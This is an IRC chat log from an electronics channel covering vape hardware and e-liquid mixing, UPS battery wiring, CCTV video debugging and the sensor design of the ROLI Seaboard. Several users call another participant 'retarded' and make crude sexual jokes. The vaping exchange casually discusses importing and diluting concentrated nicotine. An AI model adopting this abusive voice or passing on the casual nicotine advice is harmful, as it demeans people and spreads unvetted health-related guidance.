Viper-7Skree: maybe like 1.5
VanUnamedmay I buy a sub ohm coil
VanUnamedor I need o buy everything again?
Skree2-2.5ish is my norm
Viper-7depends on your vape "mod"
Viper-7i highly recommend the coolfire ultra, with the isub v tanks, but hey :P
VanUnamedI have just one simple one that screws in
Viper-7about an $80 investment
Viper-7but temperature controlled, up to 150W output, etc
Viper-7and massif battery (4Ah 2S)
Viper-7i didnt get the scion tanks which usually come with it, those just look nuts heh
Viper-7triple coils
Skreewhen i started coil heads were terrible, i understand they're much better now
kmc> Grenade found on San Francisco street corner during trash pickup
Viper-7im mostly using 0.5 ohm stainless steel coils with ceramic wicks
Skreethe only way to get a good vape was a rebuildable and make your own coils when i started
Viper-7love em
Cracki150 watts... is that a vape or a nuclear plant
Viper-7basically impossible to burn, and can be just washed out
Skreein my 14mm dripper i use 2.0 Ω of 0.21mm kanthal at 3.38v
Skreeand 22mm dripper currently have 2.4 Ω at 4.48v
Viper-7atm im vaping 100% VG 4mg "white chocolate", which i've added a dash of 24mg vanilla and 24mg butterscotch to
Viper-7so its about 6-7mg
Viper-7and fkn YUMMY :D
Skreered astaire
kmcwhat's the actual diff between PG and VG
Skreedont do it its gunky af
Viper-7PG is thinner and harsher
Viper-7VG is thicker, smoother, and gives more vapour
Viper-7but VG is so thick, it has problems wicking to the coil in many vapes
SkreePG is harsh on the throat but doesnt create much cloud. VG mutes flavour and is smooth but makes lots of cloud
Viper-7oh yeah, PG gives more flavour too
Skreeim intolerant of vg so i have to use all pg
Viper-7o.O never heard of that
Viper-7the opposite is fairly common tho
Skreeit makes my throat swell and constrict
Viper-7some people react badly to straight PG, even getting rashes and shit
Viper-7VG is usually a safe bet
kmcand why are they often mixed?
Viper-7but it'll pretty much always be a mix
Viper-7the people who have negative effects from PG, dont generally have them until above like 60% PG in the mix
Skreemixing is the most inclusive way, used to be when you bought juice you could choose ratio
Viper-7so PG is often still mixed in to carry the flavour, and thin out the juice
Viper-7flavours are generally always PG
kmcwhat's the weirdest flavor you've vaped Viper-7
Viper-7so "max VG" stuff is generally like.. 95% VG 5% PG or such
Skreei own some mentholated bacon flavour concentrate
Viper-7true 100% VG means using alcohol based flavours, which can be quite harsh, so kinda defeats the purpose
Viper-7kmc: well i've only been vaping for a bit over a month now, i guess the energy drink mix i have is a pretty odd one (redbull + monster together), by far the worst flavour ive had was when i accidentally added some tobacco flavour to my butterscotch juice
Skreeenergy drink is one of the few flavours its hard to mess up
Viper-7atm i have a selection of raspberry, energy drink, butterscotch, cherry ripe, and white chocolate in seperate tanks i can switch to as i want :P
kmcI drink energy drinks a lot... I always feel like it's objectively disgusting but I enjoy them nonetheless
Viper-7i have about 14 flavours to choose from atm, and have another 10 flavours on the way, which should arrive monday
Skreei have lemon sherbet, cherry eucalyptus and menthol, and menthol peppermint spearmint
Viper-7i have a spearmint flavoured juice, which i was looking forward to since i really love spearmint, but they've added a LOT of menthol to it
Viper-7so im not a fan at all
Skreetry cupcake world's spearmint concentrate
kmcyeah I like spearmint better than menthol
VanUnamedtoday at the store I saw a Tv
Skreestraight vg, 10% distilled water
VanUnamedit was huge
VanUnamedit costed almost like hw much I paid my house
VanUnamedit would be the equivalent of a tv that costs 180,000£ in the UK lolol
Viper-7i got a bottle of 100mg/ml nicotine in unflavoured VG, since juice containing nicotine is outlawed from sale here in australia
Viper-7but so far, all the australian vape juice ive tried has pretty terrible flavours
Skreeso you can mix from concentrate.
Viper-7so im importing everything, mostly from the US
Viper-7i have some concentrates
Viper-7bubblegum, malted milk, creaming soda, and generic "smooth" and "sweet" additives
kmcthey're trying to ban the sale of flavored vape juice in san francisco
kmctotal stupidity
Viper-7the malted milk is great for adding a bit of creamy taste to anything
kmcmm malted milk
VanUnamedi often complained
VanUnamedthat they didn tmake "mix of vaporized solvents"
Skreethat stuff is very spearmint
Skreemake small batch, start at 5% and sit it for a few weeks before vaping
Viper-7yeah, i made the mistake of trying a mix from concentrates like 1 hour after mixing it - was horrible and harsh :P
Viper-7the 10 new flavours ive ordered are premade, single strength, with nic
Viper-7because fk, its cheap enough like that anyway
Viper-7sure its about 8 times the price of using concentrates
Viper-7but meh
Skreei sit my juice, shaking every few days for a month or more but i use too little flavour and the sit helps it taste stronger, and i mix big batches 200-500ml
Viper-7a 30ml bottle still lasts me most of a month, and costs like $10 inc shipping, and i would've gone through... like $500-700 of cigarettes in that time at australian prices
Viper-7for now 30ml is as big as i'll go, because im still trying stuff out
Viper-7although i think i'll be getting a big batch of this white chocolate stuff >:D
Skree10 isnt bad if they have plenty of varieties you like
VanUnamedok im going to sleep
VanUnamedgn ppl
Viper-7i wasnt a huge fan at first, it tastes like that health store yoghurt chocolate
Viper-7but yeah, added some vanilla, butterscotch and malted milk to it
Viper-7and now it tastes like milkybar
Viper-7which i love :D
Skreesaved a lot of money in my years
Viper-7biggest issue i have now is cleaning my tanks well enough to clear out the flavour
Viper-7the tank i used for that menthol spearmint, and for that tobacco flavouring accident, are both still stanky from it
Skreedont bother buy new tanks from fasttech and keep to 1 flavour in them
Viper-7well the isub tanks are like $15 ea
Viper-7i have like 7
Viper-7but would like to be able to rotate them
Casperboil them?
Viper-7gotta get some strong alcohol to soak em i think
Skreeultrasonic cleaner works best
Viper-7Casper: i've been rinsing them in boiling water periodically to try and clear em out
Greg-JIs the purpose of flooding components with solder in order to desolder them to be able to transfer more heat into the component?
CasperI mean boil for like 10 minutes
Caspernot rinc
Viper-7Greg-J: more to replace the lead free solder used in manufacturing, with some good old fashioned leaded stuff
Greg-JTo what end?
Viper-7(which is easier to work, has a lower melting point, etc)
Viper-7Casper: well i have to be kinda careful, they have glass tanks
Viper-7but yeah
Viper-7i should try that
Greg-JWhen I see people removing like hdmi ports, ethernet ports, etc. I see several of them just dumping solder onto the pinout and under the port because "it makes it easier to remove".
Casperboiling masson jar used to be a way to sterelise them
Viper-7also still yet to fully strip them down and replace the o-rings and seals
Viper-7Greg-J: can also be a good way to heat many pins at once
Greg-JOkay, that makes sense.
Casperjust don't drop them in the boiling water directly
Viper-7your objective isnt to heat the part itself tho :P
Viper-7Skree: im also very disappointed that it seems innokin have stopped producing their ceramic wicked coils
Viper-7using high VG, many people complain of wicking problems and dry hits - so far i've always had the opposite - the coil flooding and popping like mad
Viper-7but with the ceramic ones its perfect
Viper-7not knowing how they'd go, i ordered 15x cotton and 5x ceramic coils - as soon as i got them and tried the ceramic ones out, i went back to try and order more, and everyone is sold out :<
CrazyLikeAFoxSo, anybody see a problem with purchasing a small UPS and wiring a couple huge batteries to it?
joe_zCrazyLikeAFox: you might not be able to charge that many batteries
CrazyLikeAFoxbiggest one I can see is it possibly being unable to charge them back up
joe_zwith a small UPS
joe_zyeah, basically my thoughts
joe_zthe small UPS might think a bunch of big batteries that don't appear to be charging are a problem
CrazyLikeAFox$120 for 2x 12v 35ah batteries, which is about the capacity I was after
joe_zthat said, lead acids do trickle charge reasonably well
CrazyLikeAFoxAnything that has an even have decent sized battery in it has a hug inverter and is horrendously expensive
joe_z(charging at .1C or lower kind of rates)
CrazyLikeAFox30W is my expected load on it
joe_zif it were me, I'd build a generator for that kind of money
joe_zACTION has some small engines laying around, and car alternators aren't expensive at the local u-pull-it
joe_zbut obviously that's not a good option for everything
CrazyLikeAFoxNetworking type equipment, and that'd be quite loud and unable to run unsupurvised
CrazyLikeAFoxformer means I need an online system, or a real UPS as the brains
joe_zI suppose this is a bit heavier-grade networking equipment?
joe_zthe kind that's not running off of 12V wall warts?
CrazyLikeAFoxModem, router, ATA gateway, phone base station + answering machine
joe_zbecause your other option is to try and run stuff straight off the battery, and then just get a battery charger/maintainer
CrazyLikeAFox2 of them take 5vdc warts, one of them takes 120vac, and one a 6vac wall wart
joe_zyeah, the AC makes that all a PITA
joe_z5VDc isn't bad to build or buy a simple buck converter
CrazyLikeAFoxthe one you need for the others to do anything, the modem, is the 120v deally
CrazyLikeAFoxactually has an ATA in it, but my isp's voip is overpriced and feature poor
joe_zI suppose you're leasing the modem from the ISP?
CrazyLikeAFoxit's free, but yeah I don't own it
joe_zbut yeah, not a seperate leasing fee I take it
joe_zanyway, I'm not saying what you're looking at *won't* work, but it is somewhat of a risk
CrazyLikeAFoxThere's no line item on the bill for it- there would've been if they gave me one of those awful modem+router dealies
joe_zthere is a possiblity the small UPS won't like having big batteries it wasn't designed for
joe_zor maybe it'd be perfectly fine
joe_zonly way to know is to try it
nohopWho took my kapton tape!? :(
CrazyLikeAFoxamazon has a 350w ups-in-a-power-strip for $40, APS has a couple models for ~$1050 with the battery capacity I'm after
Viper-7me! >:D
nohopFound it :)
CrazyLikeAFoxthe inverter + charger option to just assemble an online one pops into mind, but wonder how the charger might react
CrazyLikeAFoxconstant ~3 amp load + whatever the batteries are doing
tgeekyanyone here ever scoped/specaned a CCTV camera?
tgeekybecause i am seeing this in the spectrum, roughly, but
tgeekynamely I see the feature where there is a 3.57MHz offset between the chroma carrier and something, but in my case the "luma carrier" is at DC
Viper-7sounds like normal composite video
Viper-7which is yes, what a CCTV setup is probably using
tgeekyViper-7: where does that other 1.25 MHz go?
Viper-7that varies with the luma content
Viper-7white noise should use near 1.25MHz, structured images should be far less
Viper-7a luma carrier is only used for broadcast
tgeekyi guess this overall picture is based on the fact that TV channels etc would be spacing channels out by luma carrier
tgeekybut CCTV can assume there is only one frequency band in use on each line
tgeekyeach... cable.
Viper-7yeah, that seems like a diagram for broadcast video, not regular composite (baseband)
Viper-7you can decode the luma data on baseband video on a scope, there is no modulation
tgeekyViper-7: second question: in the time domain view, if I have a camera that is supposed to be e.g. 960H, then I should see 960 vertical lines somewhere?
tgeekyViper-7: yep, I've got it into my rigol and it looks very much like the pictures
tgeekyboth the time domain view and the frequency domain view
Viper-7960 sounds beyond any spec i'm aware of, but yes
tgeekywell the cameras say they are "960H" whatever that means, but I don't think I could even see 480 lines
tgeekyViper-7: the rigol lets you trigger on a specific line number, too
kmcwhat frequency does "radar cruise control" in newer cars use?
Casperwhatever frequency the manufacturer decided to use for that model
tgeekykmc: i can only offer one bit of information, that The Signal Path tore down a radar from a crashed car, that operated at 72 GHz
tgeekykmc: he goes into some detail in the teardown, but declines to explain some aspects of what is going on because of his work
Viper-7"at least 5GHz"
Viper-7often yeah a good magnitude hight
kmcCasper: incredibly helpful answer
tgeekykmc: hey, casper is just the friendly ghost, he's not the helpful ghost
kmcfair point
Casperoh I can be helpfull...
Casper... when I want to
Casperbut currently, I don't want to, because I'm hungry
Casperand that fricking pizza that is cooking smells so good!
tgeekyViper-7: i will get screenshots or videos or GIfs tomorrow (if nothing else, for reference: this is currently an ideal setup; I have a bench power supply to the camera, and the scope directly into the BNC of the CCTV.
tgeekyI am doing this to debug problems with a camera installation for my brother's business
Casperwhat is the issue?
tgeekyCasper: a few: one of the cameras has what I can only describe as 45 degree lines going through it
tgeekylike a moire effect
tgeekythree of the cameras have an overall pink hue to them
tgeekytwo of the cameras are just very grainy
tgeekythe wiring they used to install these cameras is absolute shit nonsense. You'd think it'd be something like RGx coupled with a power connector (so, a shielded coax plus a pair of wires for power)
nohopI fail. I have NO 7805 in my parts bins
tgeekyexcept they use the shield of the "coax" (there is no real uniform insulator, though) as the ground of the power wire
nohopPlenty 7905's
nohopHow do you prototype things without those...
Viper-7nohop: just regulate ground then :P
tgeekynohop: i was going to jokingly suggest installing a 7905 and using it upside down
Caspertgeeky: power over video, not too uncommon and usually fine
nohopVery nice :) Not an option though :)
Casperjust need an inductor and a capacitor at each end...
Casperhowever, the grainy... might be a light issue OR a signal loss due to length...
Casperthe pink hue can be a miscalibrated white balance
nohopHa! Found a to92 one
tgeekyViper-7: I can see pretty much all of this waveform in detail, in my camera:
electrobottgeeky just linked to
Casperthe moire effect might be a faulty ground
tgeekyViper-7: the strange thing to me, is that the first 13 or 14 lines of the 2nd part ("odd field") are blank-ish
Viper-7yeah thats not abnormal
Viper-7some of the signal always ends up off-screen
tgeekyCasper: yep, I am going to decide what to do overall, including upgrading wires, switching to balun-balun connections for some of the longer runs. But none of the runs are longer than ~ 300 feet.
tgeekyViper-7: i figured that actually, I was just being cautious. You know me.
tgeekythis certainly isn't a 900 scan line camera, though. Maybe it's 480.
Viper-7sounds more likely
Viper-7480 and 576 are common
Viper-7960 is pretty rare :P
tgeekyperhaps that is just the highest mode the DVR box can handle
tgeekyCasper: the faulty ground thing is plausible; the installation is a mess. Some of the cameras use shared power connectors to a 12V supply, so that means that the ground jacket of two cameras (which may be in totally different directions) is a huge ass antenna
tgeekyamong the issues I have to decide/advise on are: worth upgrading to HDTV or not; most economical way to fix cameras (which I think may be run cat5s which can handle 2 powered cameras each, or 4 unpowered) with baluns
Casperrun cat6
tgeekyone of the frustrating aspects of this, though, that I think I'm going to run into re: their decisions already made; is that because of a recent theft/break-in (in an area which had *no* camera coverage at all) and theft of $18000 of equipment
Caspernot really more expensive
tgeekyCasper: thats what i meant really, just twisted pair wire
Casperand the gauge is bigger, so less drop and more reliable power
tgeekyso they went to the power company and purchased some poles and are installing those big fucking ass bright downward facing lights
tgeekybut imho, that is going to make the camera coverage *worse* at night
tgeekybecause they will go out of infared mode, I bet
matlandViper-7: on 100% needing alcohol based flavors, can't you just evaporta the alcohol and hope the flavor is soluble in VG too?
matlandACTION is hours late to the party
matlandi'm all for PG though
banandanaim not
samy^anyone suggest something to use as a transparent (or semi-transparent) layer to accept touch over LEDs/acrylic? i don't need multitouch, and I need about 30x30 resolution across 10x10cm. looking at resistive and capacitive touch layers but not sure if there's an easy way to make one to size
matlandi always mix 50/50 and VG is so fucking annoying to deal with
Casperalso, need to figure out if it is worth to have camera
matlandsirupy and thick bastard liquid
Viper-7matland: tis probably where the idea that you need to steep flavours for *months* before use comes from :P
banandanamatland: my fav movies are rated R
Viper-7letting such carrier volatiles flash off :P
matlandViper-7: i always thought steeping was because people in general don't mix properly at all
matlandlike... it seemed to have an effect when i first tried mixing
matlandbut it doesn't now that i use heat and a stir plate instead of shaking a bottle like a dummy
Viper-7matland: in terms of a few days it can make a difference, even if well mixed
Viper-7but months? ehhh
matlandnothing much happens to my liquids after they made, if they sit in the light they darken in color tho
matlandthat said i do usually mix a single fruit flavor with sucralose, EM and WS5 + WS23
matlandnothing that NEEDS steeping if you consult the forums bla bla beloney consensus :P
Viper-7ok captain chemist
matlandjust my experience anyway
matlandmaybe steeping does a lot for some flavers
Viper-7i meant the 'sucralose, EM and WS5 + WS23' bit
tgeekyCasper: well, the boss man says he wants the cameras (there are already 11 cameras, 3 are left unused, 8 should be working, 1 of them was physically cut and needs to be replaced (it was cut by an employee who was trimming a bush/hedge/tree which was in the way of the camera)
tgeekythey want to go up to 16 cameras total
tgeeky(at least)
matlandif you like minty cold stuff you should learn to know ws5 and ws23 Viper-7
matlandits like minty without mint flavor
Viper-7i hate such :P
tgeekysome of the cameras are just there so that employees who are working there can see who is coming/going
tgeekyduring the day
matlandthen ignore any of my advice :D
tgeekyACTION puts matland on /ignore, out of an abundance of caution
Caspertgeeky: so for his own surveillance
matlandACTION sprays minty stuff at tgeeky
tgeekyCasper: that was the original intent: basically, so that the women who work there can see who is approaching their offices before they get there, so they can't be snuck up on. Also some inside cameras in rooms with inventory.
banandanatgeeky: is your refrigerator running?
tgeekybanandana: I don't believe in refridgerators or running, but I have an icebox which is doing a nice saunter.
banandananoice so what I want u to do
banandanais walk over to it
banandanaopen it up
banandanagrab a cold one
banandanacrack it open and drink it
banandanaand report back
tgeekyi wish I could drink :(
banandanaACTION hands tgeeky a cold one
tgeekyACTION takes it, and applies to the affected area
banandanano u drink it
banandanaACTION opens the bottle
tgeekybanandana: yeah, that's the affected area; my brain
matlanda cold one
tgeekywater T
tgeekyViper-7: we have a new thread for how horrible of a repair job can a man do to what otherwise is world class equipment:'repair'-precision-measurement-equipment-(keithley-6517a)-r18/
banandanamatland: exactly
banandanaa cold 1
tgeeky <-- how the fuck do you do that
tgeekyto a PCB
tgeekyon a spot on the PCB that there are no fucking components, no less
banandanada fuggle
banandanayeah I see it
banandanathey soldered that thing on ever so slightly crooked
banandanathe aesthetics are off
banandanawould not fuck 0/10
tgeekybanandana: the entire board is delaminated from within. like, the layers of copper and PCB seperated from each other.
tgeekyi don't know how they could have managed to do that...
banandanawell its just copper
banandananot too important amirite
tgeekyhaha, for reference, this instrument is an electrometer
tgeekywhich is pretty much as sensitive as instruments get without going to microwave RF
banandanalol that resistor
tgeeky <-- he somehow blew the entire labelling off of this chip
banandanalike an IC mixtape
DocScrutinizer05tgeeky: that huge white blob looks like prepreg delamination
banandanawhats wrong with it
Viper-7tgeeky: if it works it works :P
tgeekyViper-7: it very, very, very much does not work
banandanatgeeky: you have way too high of standards for your pcbs
Viper-7i love the pin
banandananot all pcbs are created equal
banandanasome r beautiful on the inside
tgeekybanandana: this PCB if they didn't do what they did to it (apparently they did not reconfigure 120V to 240V and put 240V into it)
tgeekyit's probably a world class PCB layout
tgeekykeithley are great at it, and it's the most sensitive kind of instrument so
DocScrutinizer05tgeeky: for poor quality multilayer PCB this may happen
banandanatgeeky: stop tryina overclock everything
tgeekybanandana: hahaha
tgeekythe idea of 240v just being overclocking
tgeekymore volts, more fun
Viper-7angrier pixies
tgeekyDocScrutinizer05: I think it may have come from his attempt to replace that PIC chip there, not sure
tgeekyi find it hard to believe that that delam was there before the thing exploded/was attempted to be fixed
DocScrutinizer05tgeeky: I suspect poorly done or damaged via platings can trigger this
banandanatgeeky: its ez the 240v just doubles the speed of the power
tgeekyDocScrutinizer05: the only thing I can think of otherwise is that someone connected e.g. a multimeter in current mode between the +15VE and -15VE rails
tgeekyand basically heated that section of the board
DocScrutinizer05heat may be a reason, yes
tgeekyDocScrutinizer05: this thing is in the hands of TiN, who is pretty notorious for taking on seemingly impossible jobs like this
DocScrutinizer05but not mandatory
tgeekyso maybe he'll fix it
Viper-7"sallready fucked, cant fuck it no more"
tgeekyDocScrutinizer05: if you like repair stories on very good/expensive equipment, check out his site
androidwhat is the difference between newer and older led bulbs?
tgeekyACTION does a Casper
tgeekyandroid: age
tgeekyandroid: newer bulbs will probably have "better" or more varied options for color temperature
Casperandroid: I will assume you talk about the generation of leds.
Casperold leds were basically RGB, and had big holes in the spectrum, and not much balanced in the colors too
Caspernewer ones are more phosphore based, and tend to emit a more pure light, which the spectrum is better and more flat
Casperwith hopefully no hole in the spectrum
androidbrighter sure
androidold led look to be a simple arc giving off light
restorerLED bulbs though, are all in that newer generation, unless you have one of the 10-year-old Philips bulbs with remote phosphor that Clive is to take to bits sometime soon
androidthe newer have some sort of panel
androidhey watered_
restorerso far I've never seen an LED bulb meant for lighting that had a worse spectrum than fluorescent
androiddoing billing?
restorerandroid: are you thinking of the difference between lens-enclosed single LEDs and COB LED panels?
tgeekyrestorer: that was sort of the beauty of flourescent. it's brutalism in the workplace; there to remind you that you are not to be comfortable
restorerI have a few "mosquito-repelling" (more likely "not mosquito-attracting") very yellow lights that, under a diffused cover, have a mix of warm white phosphored LEDs and unphosphored yellowish LEDs
androidsingle led bulbs
restorertgeeky: I had such a hard time with my last couple of CCFL-backlit displays
restorerbrutalism is another thing entirely ;P
androidhow many lights do you see!?
tgeekyyeah, but that kind of building with floor after floor of cold, harsh floreescent light bulbs making everything seem sterile
restorerI'm a creative worker, not a rote worker; if my body's not comfortable, my performance is significantly degraded
tgeekyno natural light in, only this very artificial, very economical, very unnatural light is what you worker bees get
restorerandroid: R, G, B, and WW. THERE ARE FOUR LIGHTS!
restorerI refuse to acknowledge the usefulness of CW LEDs
g0zoh what was that cardassians name?
restorerGul... Duset?
restorerno, Madred
g0zdude was pissed when picard was released
restorerMacet, that's why I was thinking of
restorerDukat before Dukat
tgeekydid i have a stroke? what the fuck are you people talking about? do I smell burnt toast?
g0zstar trek
banandanawill there be biches at the tally sho
restorertgeeky: you didn't see all the lights, that's why
androidany gatherings lately?
Greg-JAlright braintrust, I need your input.
banandanatgeeky: if i been ahving a st roke it been for trhe past few hours
electrobotGreg-J just linked to Roli Seaboard Grand Piano Demo - YouTube
Greg-JWhat electronics do you think they're using in the "keys" to accomplish that functionality?
tgeekyGreg-J: without clicking, I'm going to guess: alien
Greg-JDo you think this is done with hal sensors?
androidif your brain is hackt hard thing if it is a noise or a dsp
tgeekyGreg-J: capacitive touch sensor?
restorerit's gotta be pressure-sensitive, right?
androidwhat can one do about it?
Greg-JDo you think it's a hall sensor per key and it's averaging the distance between neighboring sensors, or it's touch sensors?
tgeekyGreg-J: no
tgeekythe demonstration where he changes the pitch by a slight movement left or right means the overall device going to be one giant sensor
restorerhuh, there's even more than just pressure - though it could still be processing of the position and pressure
androidthat "banker" was on freenode bragging about hacking visuals
Greg-JI would _really_ like to find a way to reproduce this on a smaller scale, but I'm at a loss on how they're getting their input.
androidthe blind boy in dune eh
restorerI wonder if it has anything to do with the material itself
tgeekyGreg-J: look for a patent?
Greg-JFair enough
Viper-7possibly something like a multi-layered captouch
androidcan you hear em noises
restorerI'm pushing back on capacitive sensors, like a touch screen, because of how compressive the material seems to be
restoreror at least how it's described
restorerwith that color, it's hard to tell by sight
androidsay alight bulb or a screen
Greg-JHonestly, it looks like a rigid structure and then there's just a shit ton of super fine pitch connections below the "keys".
tgeekyrestorer: why? if you just impregnate the silicone with something that has conductivity, then pressing it will change the capacitence
restorertgeeky: that's also why I was wondering if the material was important, which would make it much harder to fab yourself on a tiny scale
Greg-JYou figure for each finger width at .5mm pitch you get 30 data points per key.
Greg-JAnd it would be *way* cheaper to sort out the above physical component than some newfangled hall sensor algo.
restorerah, the board has "discrete areas" and "continuous areas", so that helps with the processing
restorereasier than guessing whether the player wants to bend a note or not
restorerbased on very minor finger position/pressure changes
Greg-JYeah, I think it's more a material innovation than an electronics one.
restorermaterial and software, I'd say
Greg-JI want to take one apart
tgeekyGreg-J: i believe this is the appropriate patent:
tgeekythis is associated:
tgeekythat's unrelated
Greg-Jtgeeky, is this your job>
tgeekyGreg-J: helping people out on IRC?
Greg-JI was impressed with the speed at which you found that patent.
tgeekyGreg-J: I just searched for roli chief engineer, and found some names, and googled them, starting with CEO
tgeekythis 2nd link probably will be more useful for understanding what's going on since it has pictures
Viper-7from 5 years ago? eh
Viper-7more likely a precursor
tgeekyViper-7: the first one is a GB patent
Viper-7oh, the video is from 4 years ago
tgeekyViper-7: aye
Greg-JI'm sitting here with my 13 year old son who is trying to convince me to buy him a $1,100 C-board.
zap0what is a C-board?
Greg-JDammit boy, back in my day we had $60 casio keyboards and we were happy about it!
Viper-7but yeah, thats pretty much what i was thinking :P multiple conductive pads per layer - interesting that they'd use a conductive (piezoresistive) layer rather than capacitance and a simple insulating layer, but eh
Viper-7err, layers per pad*
Greg-JWatching this vidio: There is variance per key on the X, Y, and Z axis...
Greg-JThis shit is super impressive
zap0buying "products"? wtf.. that's consumerist peasant nonsense. make your own!
tgeekyGreg-J: Figure 6 explains almost all of it
Greg-Jwill read
Greg-JWhere is figure 6?
tgeekyon the pictures, click until you see "Figure 6"
Greg-JYeah okay, the fig 6 information explains it, but the fig 6 image is kind of shit ;)
tgeekyGreg-J: well it shows you how you how it's possible to transmit pressure information down from all the directions that have been demonstrated
tgeekye.g. not just down, but down-left and down-right
tgeekyThe body is made of silicone rubber, specifically Silskin 10 produced by Notcutt Ltd (Homewood Farm, Newark Lane, Ripley, Surrey GU23 6DJ) with added deadener silicone additive (also available from by Notcutt Ltd) to produce a material with a shore hardness on 00-1.
Greg-JIt's okay, you can say it. It's basically magic.
tgeekyThe array of sensors 4 is formed from FSR strip produced by Interlink Electronics
tgeekyThe processor 16 is an Arduino microprocessor produced by Tinker
tgeekyGreg-J: so it's not capacitive, it's resistive
Greg-JNo, it's magic.
tgeekyit's basically the same technology as good food or bathroom scales use
androidcan android read the irc screen aloud?
tgeekyandroid: no
Greg-Jtgeeky, that's a bend sensor, no?
androidthis can make for talk radio
tgeekyGreg-J: essentially yes
androiddo you ever feel stuck in yesterday
tgeekyGreg-J: The sensors may be any sensors responsive to the user manipulating the input surface and may be pressure sensitive, in which case they may be piezo-electric crystals, strain gauges, for example, or may be made of a quantum tunnelling composite or they may be force sensitive resistors. Individual sensors and arrays of these types of sensors are widely commercially available; for example, the quantum tunnelling composite from Peratech Limited of
androidafter the scripting loses its magic it is the only thing the world offers
androidwith added beatings
Greg-JSo you think the mechanical modulation is done on the underside of the key surface as opposed to the board/substrate underneath?
tgeekyGreg-J: yep; part of the invention is a method to have kind of rounded keys which transmit enough force information down to an array of sensors
tgeekythe trick being the semi-rounded (either concave or convex) shape coupled to those inverted trapezoid figures
tgeekyso that you can not only push down, but push side to side too
Greg-JI really want to take one of these apart now.
tgeekythey make a small one
androidgreg-j is that a matrix suggestion? good food
tgeekytawr: can we can this bot? ^
tgeekythis dude is some sort of stupid bot or something, barely coherent asking questions
Mikeeedon't bots have to be registered on freenode technically?
tawrlol no
tgeekyMikeee: everyone who talks in here has to be registered
tgeekywith nickserv
tgeekyi think
tawrMikeee: nickserv? 1 command, no email. that's not "registered" in the way you mean
Greg-JWho's a bot, what, huh?
Mikeeei didn't mean nickserv
tawrthat's just to talk in this room and a few others, to combat spam
tawrthen no Mikeee you are mistaken
androidnano soufflé?
Mikeeei meant the general rules some networks have to ban bots they don't like but ignore the rules on bots they do
Mikeeebut if freenode doesn't do that, then nevermind
tgeekyi am just suspecting that 'android' is some kind of nonsense bot or shitty aborted attempt at shitty AI
MikeeeMaybe it's a real AI
Mikeeeit's just retarded
Viper-7tgeeky: "Never attribute to malice that which is adequately explained by stupidity."
androidit wasn't my reference it was greg-j "good food"
Mikeeerunning on someones iphone somewhere
Mikeeeandroid what is the square root of 9?
tgeekynegative 9
Viper-7Mikeee: urmum
tgeeky(archer refrence)
Mikeee(you ruin it by giving it away)
Mikeeethe humor comes from the sense of awareness by those in the know
Mikeeeand if he doesn't answer, i'd say its a bot
androidcan it materialize hot steaks greg-j?
Greg-JIs android real?
androidwhat android?
tawrseems like you've set off the spideysense of almost everyone, android. what say you in your defense
androidthe brand?
androidtawr what does spiderman want to do
androidmax punishment?
tawrthe wants need not be considered only the parsing of what's being said. enter your plea or the default will be applied
tgeekyhow about some Banach-Tarski
androidcall my attorney?
tawrlol just fucking with you android. people think you're a bot, i personally don't.
tgeekyone of the funniest jokes in TV ever, the lawyer named "Bob Loblaw"
tgeekye.g. "bob blah blah"
Viper-7i dont think he's a bot, but i do think he's retarded, and not here to contribute or ask for help
tgeekyi think what viper-7 thinks, but I also think he's a bot. a retarded bot.
tgeekysomeone has invented sentient computers, and then intentionally retarded them
androididentify retarder
androidaquire target
Viper-7default! default! default!
androidthe UK keyboard isn't EU compatible
tgeekyACTION extends his hand and slowly rotates it in a direction that unambiguiously expresses that he wants the subject to die a horrible death
androidno currency symbol
androidthe new LEDs are much brighter
androidwhat does it have to do with phosphor?
Viper-7hah "with built in IN5819 charging circuit"
Viper-7erm.. thats 1N5819 china.. and thats a diode..
Mikeeethese are quotes
Evil-Corpfor the first time since joining this sucks...thanks android.
Greg-Jandroid!*@* added to ignore list.
Greg-JThank fuck
Viper-7tawr: fix it pl0x daddy
androidthat was about it, my question
Mikeeewhy not just ban the bot?
tgeekyi just wanted to point out that I detected this problem first, and very quickly at that.
Greg-JParenting lesson 1: Don't combine your child and his hobby with alcohol and your card.
tawryeah but your false positives flagged yourself
tgeekyi have never been more positive of anything.
Greg-JI am now the proud owner of a ROLI
tgeekyexcept my HIV test
tgeekyalso positive.
tgeekyGreg-J: are you really going to do a teardown?
Greg-Jtgeeky, No, I bought the $1,100 fullsize one. There's now way I'm tearing that apart.
tgeekyGreg-J: welp let me know if it's awesome or not
Greg-JI would *LOVE* to know how it works, but at the end of the day this is about making music.
Greg-JIf I trip on a $300 bill tomorrow though, I will order the mini and tear it down for youtube ;)
Greg-JTo be fair, I made my son agree to sell a lot of his Gunpla backlog to buy it.
Greg-JTrading one hobby for another is a fact of life he needs to get comfortable with.
tgeekyGreg-J: i just want to point out that the odds of tripping on a $300 bill are tantalizingly small
tgeekyGreg-J: but yeah; you gotta try out hobbies and shit
Greg-JNot if you print them yourself :P
Evil-CorpI actually prefer that retard, "opsec" in #music to "android"...talks about his balls all the time...but he burns himself out in about 10 minutes.
Greg-JMeanwhile I'm busy trying to justify my own.
Greg-JI found out about this last night:
tgeekyGreg-J: if you're up for justifying mine, I have some test equipment I really want
Greg-JFor $3k, the ability to manufacture 75k boards a year sing 24 individual components is bananas
tgeekycheap pick-n-place machines are like a holy grail, made out of shit
Greg-JIt is insane that this is the timeline I live in.
tgeekyGreg-J: I recently saw a video of someone landing a 16 story on small concrete pad ... from out space ... twice, at the same time.
tgeekyI haven't have had sex with two chicks at the same time.
Viper-7i applied for the aliexpress affiliate program like 2 years ago
Viper-7it just got approved :O
tgeekyViper-7: what does that even mean
Greg-JMy grandfather founded Flextronics in his garage in 1980 (Yes, that Flextronics: FLEX on the nasdaq) and I know there is no way he could have imagined this back then.
Viper-7i can generate short links to aliexpress items, and earn 1-5% commission on sales
tgeekyViper-7: now you can actually do what all those countless people have accused you of
Viper-7tgeeky: indeed.
Greg-JViper-7, that is an automated approval process. Where are your emails going that it took you two years to get approved?
Viper-7might have to get my deals site back
tawrtgeeky: meh, it's overrated
Viper-7Greg-J: gmail
tawrunless you're ambidexterous and have great timing, it's more like taking 2 SAT's than a fun experience imo
Greg-JThat's bananas
tgeekytawr: oh. I had to go back in my chat long to figure out what that was in response to.
Greg-JAlright, so I'm actually going to chime in on this.
tawrwhat? it was literally like... 100 seconds ago
tgeekytawr: but I did not specify if a strap-on was involved or not, so perhaps regular levels of dexterity is all that is required
tgeekytawr: i thought "meh it's overrated" was about Viper-7 / affiliate
Greg-JI'm 37. My wife and I have been a couple since we were 14. She loves women and we have had a number of threesomes.
tgeekyi was like... ho..w how is making free money overrated?
